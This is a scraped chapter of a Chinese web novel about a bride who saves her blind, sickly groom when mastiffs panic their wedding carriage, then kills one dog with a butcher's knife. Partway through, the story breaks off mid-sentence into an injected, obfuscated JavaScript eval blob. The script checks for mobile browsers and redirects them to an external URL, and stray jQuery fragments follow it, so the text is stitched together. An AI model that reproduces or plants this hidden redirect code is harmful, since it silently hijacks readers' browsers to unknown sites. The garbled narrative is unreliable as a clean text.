默认冷灰
24号文字
方正启体

9. 第 9 章

作者:月明珠本书字数:K更新时间:
    踏足一个完全陌生的地方,对眼前一片漆黑的人来说,是一个艰难而巨大的挑战。


    贺晋远由石松与南竹一左一右搀着胳膊引路,慢慢走进了姜家的大门。


    到了姜家女眷所住的二门以内,两个小厮不便再往里走,便另换了江夫人身边的丫鬟夏荷牵着红绸在前头引路,他扯着红绸的另一端,由国公府二房、四房的几位婶子嬷嬷等簇拥着,步伐缓慢地往海棠院走,


    听到一声“门槛”的提醒,他便默然立住,提起袍摆抬脚迈了过去。


    没多久又遇到石阶,他便慢慢循阶而上。


    直到缓步走到海棠院的正房外,他在石阶旁默然停下脚步,等待着迎接新娘出门。


    天气明媚,昳丽光线倾洒遍地,姜忆安顶着红盖头走出房门,隔着影影绰绰的红纱,隐约看到不远处立着个清隽挺拔的身影。


    她霍地掀起盖头一角,睁大眼睛仔细打量着面前的男子,不由意外地扬起秀眉。


    对方穿着大红的新郎吉服,长身玉立,修眉斜飞入鬓,双眸覆着一条黑色缎带,比她想象中要俊美许多。


    只不过相貌生得虽好,皮肤却呈现出一种病弱的苍白。


    那种苍白的肤色几近透明,像跌落山涧经年未化的冬雪,散发着清冷的气息。


    听到轻盈的脚步声,他微微偏过头来,面朝着看不见的前方,伸出一只骨节分明苍白瘦削的手。


    姜忆安疑惑了一瞬,提起裙摆跃过三级石阶走到他面前,直接伸手握住了他的手指。


    周围响起一阵意味不明的低笑。


    指根与温热而柔韧的女子掌心相贴,贺晋远也微微愣住。


    姜忆安不明所以,一手擎着红盖头去看周围的人。


    夏荷忙走了过来,将手里的红绸递了过去,低声提醒说:“姑娘与公子一人拿着这红绸的一头,一起往外走。”


    这是京都成婚的规矩,即便贺晋远没有双目失明,也该新郎新娘牵着红绸,而不是两人直接牵起手来。


    去姜家迎亲之前,怕出什么岔子,江夫人已与贺晋远仔细说了几遍迎亲的礼仪流程。


    不过姜家这边,罗氏只给了长女一本册子,其余的一概没提点过,姜忆安不知道这种规矩,方才的举止便有些冒失。


    更何况还没拜堂她便掀起盖头看未婚夫婿,这也是相当不得体的,所以惹得国公府来迎亲的女眷们低笑了起来。


    姜忆安接过红绸,却并没有撒开握住贺晋远的手。


    周围的笑声与目光她也没有理会,而是淡定得将红绸在两人交握的手上缠了三圈,之后不急不忙地盖上自己的红盖头,道:“好了,走吧。”


    别的新娘可以与新郎一前一后牵着红绸走,可贺晋远双目不能视物,红绸将两人的手缠住,她往前多走半步,他便可以随着她的步子往外走,这样既顾全了礼仪,又顾及了他的不便之处。


    国公府的女眷们止住了笑,有几个年长的嬷嬷目含赞许地点了点头:“新娘子举止大方,想得周到,是个聪慧体贴的。”


    鞭炮声噼里啪啦响了起来。


    在国公府女眷的簇拥下,姜忆安握着贺晋远的手,放慢步子往前走着,时不时隔着盖头打量几眼瞎子未婚夫。


    与男人第一次牵着手,她也不大自在。


    不过,走了一会儿,她不由紧紧拧起了眉头。


    瞎子未婚夫的手修长好看,却凉意十足,她握着他的手如同浸在冷水中。


    再看一眼他的身形,他身量高大挺拔,看着却过于清瘦。


    传说病弱之人的体温才低,该不会他除了瞎还有其他的隐疾,命不久矣了吧?


    长女出嫁,姜鸿与罗氏目送她出了姜家的正门便止住了步子,出门之后的迎亲事宜,便都交于了国公府。


    贺晋远亲自来迎亲,因他双目失明不便骑马,国公府准备的不是迎娶新娘的八抬大轿,而是一辆可以供新郎与新娘同乘的马车。


    走到马车旁,便有一位年纪稍大的国公府妇人解开了两人手上的红绸,之后两位小厮上前移来车凳,一左一右护着贺晋远登上了马车。


    姜忆安不待人搀扶,便提起繁复厚重的大红裙摆,踩着车凳钻进了马车中。


    车厢内,贺晋远唇角抿直,身姿笔挺地端坐于软榻一侧,旁边余留着足够的位置。


    那么大的空间,姜家姑娘可以坐在车厢的另一侧,两人不必再相挨在一起。


    可片刻后,他听到她咚咚叩了叩车壁,遂有人递了什么东西进来,紧接着重物落下,隐约发出刀器轻微碰撞的声响。


    贺晋远拧起长眉,突觉身边软榻微微下陷。


    姜忆安揭下红盖头,挨着他坐了下来。


    那红绸本是引着他走路的,现下他两手空空坐在那里,她便将红绸塞在他手里,道:“拿着。”


    贺晋远沉默片刻,唇角悄然抿直,别过脸去吹着窗外拂来的清风。


    “不用。”他冷淡地道。


    姜忆安挑了挑眉头。


    瞧着生了副好皮囊,可病弱眼瞎,脾气还不小,像块冷硬的臭石头。


    不拿就不拿,她还不乐意照顾他呢。


    外面喜庆的鼓点唢呐响起,一个身着蓝色织金锦袍的年轻男子隔着车窗道:“大哥,你与大嫂坐稳了,马车这就启程回府了。”


    贺晋远低低嗯了一声,那男子便去前面吩咐车队启动。


    车内,姜忆安看着那男子的背影,凝神回忆了一会儿,记起当初到姜府下聘时他曾来过,便对贺晋远道:“刚才与你说话的人是你堂弟?”


    贺晋远没有作声,只是略点了点头。


    国公府人丁兴旺,同辈兄弟姊妹众多,前来陪同他迎亲的是二房的堂弟贺晋睿,这些没必要先介绍与她知道,待她进门后慢慢都会认识的。


    他言语不多,沉默如冰,姜忆安便也不再与他说话讨没趣儿。


    早晨醒得早还没睡够,她打了个哈欠靠在车壁上养神,偶尔透过窗子瞧一眼马车行到了何处。


    这回长子娶妻,江夫人费尽心思安排了迎亲队伍,除了二房的侄子在前头带领车队外,另有几十个护院分别在马车的前后左右步行护卫,足够保护车里新人的安全。


    另外,凡马车所经之处,先有小厮在前头撒喜钱开道,如遇有桥、水甚至坑洼之类的地方一律绕道而行,只走路面平坦结实的大道。


    如此以来,本来一个多时辰的路程,硬生生走了将近两个时辰,姜忆安靠在马车上睡了一觉养足了精神,再往外看时,马车还没到安定坊。


    她睡觉养神没注意身边的动静,差点忘了身边还有个男人,转过头去,才发现她这未婚夫竟然还保持着之前的姿势面朝窗外的方向,像尊石像似的一动没动。


    姜忆安伸了伸胳膊舒展筋骨,与他搭话:“到了安定坊,就快到你们国公府了吧?”


    不过,她说了话,男人却跟没听见似的,依然看着窗外没有作声。


    姜忆安盯着他苍白紧绷的下颌眯了眯眼。


    这臭石头,不能仗着自己眼瞎病弱,就完全不讲礼貌吧?!


    不过她大度,先不与他一个瞎子一般计较。


    那放杀猪刀的宝贝箱子就放在身旁,她闲极无聊地摸了几下,忽然,缓缓前行的马车倏地放慢了速度。


    紧接着凌乱的蹄声突然由远及近,似乎有什么东西朝这边飞快跑蹿了过来!


    与此同时,马车周边响起护院慌乱的大喊声,“有獒犬过来了,保护少爷与少奶奶!”


    “快,马车掉转方向!”


    “不行,停不下来,要扑上来了......”


    “少爷!”


    短短刹那间,一群黑色皮毛体型巨大的獒犬逼近过来。


    这些獒犬凶悍无比,轻而易举地冲进了车队,径直奔扑向中间挂着喜绸的马车,如饿狼扑食一般撕咬起拉车的两匹高头大马来。


    护院们纷纷掏出刀兵驱赶獒犬,拉车的白马则惊慌地高亢嘶鸣起来。


    马匹受了惊。


    慌乱中,马车猛地转了个弯,短短


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221128|181522||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瞬间,车厢朝一边倾斜过去,姜忆安还来不及反应,脑袋已不受控制地向车壁撞去。


    忽然一只苍白瘦削的大手用力揽住了她的肩膀,将她拉了回来。


    姜忆安愣了一瞬,下意识抬头定定看着眼前的人。


    瞎眼未婚夫离她很近,近到她可以清晰地看到他水色的薄唇,苍白的下颌。


    骨节分明而修长清瘦的大手握着她的肩,整个身子倾斜过来,以一个保护的姿势,将她虚虚圈在怀里。


    微风吹过窗牖,他覆着双眸的黑色缎带飘动着,拂过她的脸颊,有一点点痒。


    男人身上有一种好闻的味道,像生长在山涧清泉旁的薄荷,清清淡淡的香气沁人心脾,莫名其妙的,这香味明明与松子糖毫不相干,姜忆安却忽然想起了松子糖的味道。


    马车如同脱缰的野兽,在宽阔的大道上没命地狂奔起来,车轮碾压过凹凸不平的青石板路,车厢颠簸得如同风中摇摇欲坠的枯叶,随时都可能会散架。


    瞎眼未婚夫的大手还揽着自己的肩膀,姜忆安不自觉笑了笑,又抬头仔细看了他一眼。


    不看不知道,一看这才发现,方才那就像一块冰冷臭石头的男人,白皙的额角尽是冷汗,脸上血色褪尽如一张白纸,胸膛剧烈地起伏着,竟像是快要喘不过气来一般。


    姜忆安拧了拧眉头。


    这眼瞎的病秧子莫不是被突发的意外吓到了?


    不过,他混乱之中竟还没忘记拉自己一把,还是让她有点感动。


    她灿然一笑,重重拍了拍他的手,道:“别怕,等我。”


    当啷一声,她揭开箱盖拎起把轻巧的杀猪刀,脚尖一勾踢起地上的红绸,大步流星地推开车门走了出去。


    车夫早已不知何时被甩下了马车。


    受惊的马儿漫无目的地疯跑,其中一匹不见踪影,现下这只高头白马双眼赤红,鬃毛飞扬如炸开一般,拉着马车已偏离大道,跑到了护城河边上!


    姜忆安一手扶着车厢,手搭凉棚向后看去——有一只獒犬还在穷追不舍,似乎不咬掉马屁股上的一块肉便不会罢休。


    她不由轻啧一声。


    京都的人与清水镇的人不一样也就罢了,狗都跟清水镇的狗不同,邻居周大哥家的黑狗温顺可爱,见了她便欢快地摇尾巴,哪像这般凶猛!


    姜忆安以指抵唇,吹了声响亮悠长的口哨,受惊的马儿似被这新奇的声音安抚,奔跑的速度逐渐慢了下来。


    她顺势踩在车辕上,手中红绸一扬,覆住了惊马的双眼。


    白马停了下来,红绸盖住了眼睛,也不再那么惊慌失措,停在原地打着响鼻呼哧呼哧喘气。


    姜忆安从车辕上一跃而下,瞥了眼车窗。


    那清瘦挺拔的病秧子靠窗坐着,从她的方向只能看到他的背影。


    影子晃了晃,还活着,应当没有大碍。


    为防马儿再次受惊乱跑,她就近找了棵树将马拴住。


    没过多久,落后几十丈远的黑色獒犬对她视而不见,凶神恶煞地朝栓住的白马扑了过来。


    姜忆安抽出了杀猪刀。


    微风拂过,大红裙摆扬起一抹轻巧的弧度。


    她转了转手中的杀猪刀,弯唇一笑,眯眼紧紧盯着奔来的獒犬。


    刀刃忽地泛起闪烁寒光,在獒犬扑向马屁股的一瞬,冰冷刀尖划破了它的喉管。


    噗呲一声,鲜血溅了一地。


    獒犬挣扎着,姜忆安的刀尖又往喉管里送了几分,让它死个痛快。


    她惯会杀猪的,连狼也宰过,杀一只疯狗根本不在话下。


    獒犬挣扎一番没了气息,姜忆安拔刀,抬起脚尖踢了踢那畜生的脑袋。


    奇怪,这畜生怎就偏追着这匹马不放?


    突然,马车里响起几声沉闷的咳嗽。


    姜忆安循声看去。


    她的病秧子眼瞎未婚夫,摸索着从车上跳下,惨白着一张冰山脸,朝她慢慢走了过来。


    “姜姑娘,你可有受伤?”他声音干哑而清冷地问。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)